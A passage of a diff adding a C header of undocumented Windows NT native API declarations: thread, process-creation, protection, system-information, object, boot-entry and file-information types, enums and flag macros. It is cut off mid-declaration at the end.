ThreadEnableAlignmentFaultFixup, + ThreadEventPair, + ThreadQuerySetWin32StartAddress, + ThreadZeroTlsCell, + ThreadPerformanceCount, + ThreadAmILastThread, + ThreadIdealProcessor, + ThreadPriorityBoost, + ThreadSetTlsArrayAddress, + ThreadIsIoPending, + ThreadHideFromDebugger, + ThreadBreakOnTermination, + ThreadSwitchLegacyState, + ThreadIsTerminated, + ThreadLastSystemCall, + ThreadIoPriority, + ThreadCycleTime, + ThreadPagePriority, + ThreadActualBasePriority, + ThreadTebInformation, + ThreadCSwitchMon, + ThreadCSwitchPmu, + ThreadWow64Context, + ThreadGroupInformation, + ThreadUmsInformation, + ThreadCounterProfiling, + ThreadIdealProcessorEx, + ThreadCpuAccountingInformation, + ThreadSuspendCount, + ThreadHeterogeneousCpuPolicy, + ThreadContainerId, + ThreadNameInformation, + ThreadProperty, + ThreadSelectedCpuSets, + ThreadSystemThreadInformation, + MaxThreadInfoClass +} THREADINFOCLASS; + +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PVOID PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; +typedef PROCESS_BASIC_INFORMATION* PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { + SIZE_T Size; + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG IsFrozen : 1; + ULONG IsBackground : 1; + ULONG IsStronglyNamed : 1; + ULONG SpareBits : 25; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, * PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; +} PROCESS_ACCESS_TOKEN, * PPROCESS_ACCESS_TOKEN; + +//thanks to wj32 headers + +typedef enum _PS_CREATE_STATE { + PsCreateInitialState, + PsCreateFailOnFileOpen, + PsCreateFailOnSectionCreate, + PsCreateFailExeFormat, + PsCreateFailMachineMismatch, + PsCreateFailExeName, + PsCreateSuccess, + PsCreateMaximumStates +} PS_CREATE_STATE; + +typedef struct _PS_CREATE_INFO { + SIZE_T Size; + PS_CREATE_STATE State; + union + { + struct + { + union + { + ULONG InitFlags; + struct + { + UCHAR WriteOutputOnExit : 1; + UCHAR DetectManifest : 1; + UCHAR IFEOSkipDebugger : 1; + UCHAR IFEODoNotPropagateKeyState : 1; + UCHAR SpareBits1 : 4; + UCHAR SpareBits2 : 8; + USHORT ProhibitedImageCharacteristics : 16; + }; + }; + ACCESS_MASK AdditionalFileAccess; + } InitState; + + struct + { + HANDLE FileHandle; + } FailSection; + + struct + { + USHORT DllCharacteristics; + } ExeFormat; + + struct + { + HANDLE IFEOKey; + } ExeName; + + struct + { + union + { + ULONG OutputFlags; + struct + { + UCHAR ProtectedProcess : 1; + UCHAR AddressSpaceOverride : 1; + UCHAR DevOverrideEnabled : 1; + UCHAR ManifestDetected : 1; + UCHAR ProtectedProcessLight : 1; + UCHAR SpareBits1 : 3; + UCHAR SpareBits2 : 8; + USHORT SpareBits3 : 16; + }; + }; + HANDLE FileHandle; + HANDLE SectionHandle; + ULONGLONG UserProcessParametersNative; + ULONG UserProcessParametersWow64; + ULONG CurrentParameterFlags; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + ULONGLONG ManifestAddress; + ULONG ManifestSize; + } SuccessState; + }; +} PS_CREATE_INFO, * PPS_CREATE_INFO; + +typedef struct _PS_ATTRIBUTE +{ + ULONG Attribute; + SIZE_T Size; + union + { + ULONG Value; + PVOID ValuePtr; + }; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, * PPS_ATTRIBUTE; + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; +} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; + +typedef enum _PS_PROTECTED_TYPE +{ + PsProtectedTypeNone, + PsProtectedTypeProtectedLight, + PsProtectedTypeProtected, + PsProtectedTypeMax +} PS_PROTECTED_TYPE; + +typedef enum _PS_PROTECTED_SIGNER +{ + PsProtectedSignerNone, + PsProtectedSignerAuthenticode, + PsProtectedSignerCodeGen, + PsProtectedSignerAntimalware, + PsProtectedSignerLsa, + PsProtectedSignerWindows, + PsProtectedSignerWinTcb, + PsProtectedSignerMax +} PS_PROTECTED_SIGNER; + +typedef struct _PS_PROTECTION +{ + union + { + UCHAR Level; + struct + { + UCHAR Type : 3; + UCHAR Audit : 1; + UCHAR Signer : 4; + }; + }; +} PS_PROTECTION, * PPS_PROTECTION; + +// begin_rev +#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff +#define PS_ATTRIBUTE_THREAD 0x00010000 +#define PS_ATTRIBUTE_INPUT 0x00020000 +#define PS_ATTRIBUTE_ADDITIVE 0x00040000 +// end_rev + +typedef enum _PS_ATTRIBUTE_NUM { + PsAttributeParentProcess, + PsAttributeDebugPort, + PsAttributeToken, + PsAttributeClientId, + PsAttributeTebAddress, + PsAttributeImageName, + PsAttributeImageInfo, + PsAttributeMemoryReserve, + PsAttributePriorityClass, + PsAttributeErrorMode, + PsAttributeStdHandleInfo, + PsAttributeHandleList, + PsAttributeGroupAffinity, + PsAttributePreferredNode, + PsAttributeIdealProcessor, + PsAttributeUmsThread, + PsAttributeMitigationOptions, + PsAttributeProtectionLevel, + PsAttributeSecureProcess, + PsAttributeJobList, + PsAttributeMax +} PS_ATTRIBUTE_NUM; + +#define PsAttributeValue(Number, Thread, Input, Unknown) \ + (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ + ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ + ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ + ((Unknown) ? PS_ATTRIBUTE_ADDITIVE : 0)) + +#define PS_ATTRIBUTE_PARENT_PROCESS \ + PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_DEBUG_PORT \ + PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_TOKEN \ + PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_CLIENT_ID \ + PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_TEB_ADDRESS \ + PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_IMAGE_NAME \ + PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IMAGE_INFO \ + PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE) +#define PS_ATTRIBUTE_MEMORY_RESERVE \ + PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_PRIORITY_CLASS \ + PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ERROR_MODE \ + PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_STD_HANDLE_INFO \ + PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_HANDLE_LIST \ + PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_GROUP_AFFINITY \ + PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_PREFERRED_NODE \ + PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IDEAL_PROCESSOR \ + PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_MITIGATION_OPTIONS \ + PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, TRUE) + + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +/* +** Processes END +*/ + +#ifndef _SYSTEM_INFORMATION_CLASS +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0, + SystemProcessorInformation = 1, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemPathInformation = 4, + SystemProcessInformation = 5, + SystemCallCountInformation = 6, + SystemDeviceInformation = 7, + SystemProcessorPerformanceInformation = 8, + SystemFlagsInformation = 9, + SystemCallTimeInformation = 10, + SystemModuleInformation = 11, + SystemLocksInformation = 12, + SystemStackTraceInformation = 13, + SystemPagedPoolInformation = 14, + SystemNonPagedPoolInformation = 15, + SystemHandleInformation = 16, + SystemObjectInformation = 17, + SystemPageFileInformation = 18, + SystemVdmInstemulInformation = 19, + SystemVdmBopInformation = 20, + SystemFileCacheInformation = 21, + SystemPoolTagInformation = 22, + SystemInterruptInformation = 23, + SystemDpcBehaviorInformation = 24, + SystemFullMemoryInformation = 25, + SystemLoadGdiDriverInformation = 26, + SystemUnloadGdiDriverInformation = 27, + SystemTimeAdjustmentInformation = 28, + SystemSummaryMemoryInformation = 29, + SystemMirrorMemoryInformation = 30, + SystemPerformanceTraceInformation = 31, + SystemObsolete0 = 32, + SystemExceptionInformation = 33, + SystemCrashDumpStateInformation = 34, + SystemKernelDebuggerInformation = 35, + SystemContextSwitchInformation = 36, + SystemRegistryQuotaInformation = 37, + SystemExtendServiceTableInformation = 38, + SystemPrioritySeperation = 39, + SystemVerifierAddDriverInformation = 40, + SystemVerifierRemoveDriverInformation = 41, + SystemProcessorIdleInformation = 42, + SystemLegacyDriverInformation = 43, + SystemCurrentTimeZoneInformation = 44, + SystemLookasideInformation = 45, + SystemTimeSlipNotification = 46, + SystemSessionCreate = 47, + SystemSessionDetach = 48, + SystemSessionInformation = 49, + SystemRangeStartInformation = 50, + SystemVerifierInformation = 51, + SystemVerifierThunkExtend = 52, + SystemSessionProcessInformation = 53, + SystemLoadGdiDriverInSystemSpace = 54, + SystemNumaProcessorMap = 55, + SystemPrefetcherInformation = 56, + SystemExtendedProcessInformation = 57, + SystemRecommendedSharedDataAlignment = 58, + SystemComPlusPackage = 59, + SystemNumaAvailableMemory = 60, + SystemProcessorPowerInformation = 61, + SystemEmulationBasicInformation = 62, + SystemEmulationProcessorInformation = 63, + SystemExtendedHandleInformation = 64, + SystemLostDelayedWriteInformation = 65, + SystemBigPoolInformation = 66, + SystemSessionPoolTagInformation = 67, + SystemSessionMappedViewInformation = 68, + SystemHotpatchInformation = 69, + SystemObjectSecurityMode = 70, + SystemWatchdogTimerHandler = 71, + SystemWatchdogTimerInformation = 72, + SystemLogicalProcessorInformation = 73, + SystemWow64SharedInformationObsolete = 74, + SystemRegisterFirmwareTableInformationHandler = 75, + SystemFirmwareTableInformation = 76, + SystemModuleInformationEx = 77, + SystemVerifierTriageInformation = 78, + SystemSuperfetchInformation = 79, + SystemMemoryListInformation = 80, + SystemFileCacheInformationEx = 81, + SystemThreadPriorityClientIdInformation = 82, + SystemProcessorIdleCycleTimeInformation = 83, + SystemVerifierCancellationInformation = 84, + SystemProcessorPowerInformationEx = 85, + SystemRefTraceInformation = 86, + SystemSpecialPoolInformation = 87, + SystemProcessIdInformation = 88, + SystemErrorPortInformation = 89, + SystemBootEnvironmentInformation = 90, + SystemHypervisorInformation = 91, + SystemVerifierInformationEx = 92, + SystemTimeZoneInformation = 93, + SystemImageFileExecutionOptionsInformation = 94, + SystemCoverageInformation = 95, + SystemPrefetchPatchInformation = 96, + SystemVerifierFaultsInformation = 97, + SystemSystemPartitionInformation = 98, + SystemSystemDiskInformation = 99, + SystemProcessorPerformanceDistribution = 100, + SystemNumaProximityNodeInformation = 101, + SystemDynamicTimeZoneInformation = 102, + SystemCodeIntegrityInformation = 103, + SystemProcessorMicrocodeUpdateInformation = 104, + SystemProcessorBrandString = 105, + SystemVirtualAddressInformation = 106, + SystemLogicalProcessorAndGroupInformation = 107, + SystemProcessorCycleTimeInformation = 108, + SystemStoreInformation = 109, + SystemRegistryAppendString = 110, + SystemAitSamplingValue = 111, + SystemVhdBootInformation = 112, + SystemCpuQuotaInformation = 113, + SystemNativeBasicInformation = 114, + SystemErrorPortTimeouts = 115, + SystemLowPriorityIoInformation = 116, + SystemBootEntropyInformation = 117, + SystemVerifierCountersInformation = 118, + SystemPagedPoolInformationEx = 119, + SystemSystemPtesInformationEx = 120, + SystemNodeDistanceInformation = 121, + SystemAcpiAuditInformation = 122, + SystemBasicPerformanceInformation = 123, + SystemQueryPerformanceCounterInformation = 124, + SystemSessionBigPoolInformation = 125, + SystemBootGraphicsInformation = 126, + SystemScrubPhysicalMemoryInformation = 127, + SystemBadPageInformation = 128, + SystemProcessorProfileControlArea = 129, + SystemCombinePhysicalMemoryInformation = 130, + SystemEntropyInterruptTimingInformation = 131, + SystemConsoleInformation = 132, + SystemPlatformBinaryInformation = 133, + SystemPolicyInformation = 134, + SystemHypervisorProcessorCountInformation = 135, + SystemDeviceDataInformation = 136, + SystemDeviceDataEnumerationInformation = 137, + SystemMemoryTopologyInformation = 138, + SystemMemoryChannelInformation = 139, + SystemBootLogoInformation = 140, + SystemProcessorPerformanceInformationEx = 141, + SystemSpare0 = 142, + SystemSecureBootPolicyInformation = 143, + SystemPageFileInformationEx = 144, + SystemSecureBootInformation = 145, + SystemEntropyInterruptTimingRawInformation = 146, + SystemPortableWorkspaceEfiLauncherInformation = 147, + SystemFullProcessInformation = 148, + SystemKernelDebuggerInformationEx = 149, + SystemBootMetadataInformation = 150, + SystemSoftRebootInformation = 151, + SystemElamCertificateInformation = 152, + SystemOfflineDumpConfigInformation = 153, + SystemProcessorFeaturesInformation = 154, + SystemRegistryReconciliationInformation = 155, + SystemEdidInformation = 156, + MaxSystemInfoClass = 157 +} SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS; +#endif + +/* +** Timer START +*/ + +// +// Timer APC routine definition. +// + +typedef VOID(*PTIMER_APC_ROUTINE) ( + _In_ PVOID TimerContext, + _In_ ULONG TimerLowValue, + _In_ LONG TimerHighValue + ); + +typedef enum _TIMER_TYPE { + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +#ifndef _TIMER_INFORMATION_CLASS +typedef enum _TIMER_INFORMATION_CLASS { + TimerBasicInformation +} TIMER_INFORMATION_CLASS; +#endif + +#ifndef _TIMER_BASIC_INFORMATION +typedef struct _TIMER_BASIC_INFORMATION { + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, * PTIMER_BASIC_INFORMATION; +#endif + +/* +** Timer END +*/ + +typedef VOID(NTAPI* PIO_APC_ROUTINE)( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +// +// Valid values for the Attributes field +// + +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +#endif + + +/* +** Objects START +*/ + +#ifndef _OBJECT_INFORMATION_CLASS +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectTypesInformation, + ObjectHandleFlagInformation, + ObjectSessionInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; +#endif + +#ifndef _OBJECT_BASIC_INFORMATION +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, * POBJECT_BASIC_INFORMATION; +#endif + +#ifndef _OBJECT_NAME_INFORMATION +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION; +#endif + +#ifndef _OBJECT_TYPE_INFORMATION +typedef struct _OBJECT_TYPE_INFORMATION { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; +#endif + +typedef struct _OBJECT_TYPE_INFORMATION_8 { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + UCHAR TypeIndex; + CHAR ReservedByte; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION_8, * POBJECT_TYPE_INFORMATION_8; + +#ifndef _OBJECT_TYPES_INFORMATION +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; + OBJECT_TYPE_INFORMATION TypeInformation; +} OBJECT_TYPES_INFORMATION, * POBJECT_TYPES_INFORMATION; +#endif + +#ifndef _OBJECT_HANDLE_FLAG_INFORMATION +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, * POBJECT_HANDLE_FLAG_INFORMATION; +#endif +/* +** Objects END +*/ + +/* +** Boot Entry START +*/ + +typedef struct _FILE_PATH { + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[ANYSIZE_ARRAY]; +} FILE_PATH, * PFILE_PATH; + +typedef struct _BOOT_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[ANYSIZE_ARRAY]; +} BOOT_ENTRY, * PBOOT_ENTRY; + +typedef struct _BOOT_ENTRY_LIST { + ULONG NextEntryOffset; + BOOT_ENTRY BootEntry; +} BOOT_ENTRY_LIST, * PBOOT_ENTRY_LIST; + +/* +** Boot Entry END +*/ + +/* +** File start +*/ + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +#ifndef _FILE_INFORMATION_CLASS +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; +#endif + +#ifndef _FILE_INFORMATION_CLASS +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, + FileFsSizeInformation, + FileFsDeviceInformation, + FileFsAttributeInformation, + FileFsControlInformation, + FileFsFullSizeInformation, + FileFsObjectIdInformation, + FileFsDriverPathInformation, + FileFsVolumeFlagsInformation, + FileFsMaximumInformation +} FS_INFORMATION_CLASS, * PFS_INFORMATION_CLASS; +#endif + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, * PFILE_BASIC_INFORMATION; + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + UCHAR DeletePending; + UCHAR Directory; +} FILE_STANDARD_INFORMATION; + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, * PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, * PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, * PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION { + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, * PFILE_POSITION_INFORMATION; + +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, * PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION { + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, * PFILE_ALIGNMENT_INFORMATION; + +typedef struct _FILE_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, * PFILE_NAME_INFORMATION; + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, * PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, * PFILE_NETWORK_OPEN_INFORMATION; + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, * PFILE_ATTRIBUTE_TAG_INFORMATION; + +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, * PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, * PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, * PFILE_DISPOSITION_INFORMATION; + +typedef struct _FILE_END_OF_FILE_INFORMATION { + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, * PFILE_END_OF_FILE_INFORMATION; + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, * PFILE_VALID_DATA_LENGTH_INFORMATION; + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, * PFILE_LINK_INFORMATION; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, * PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION; + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, * PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, * PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION 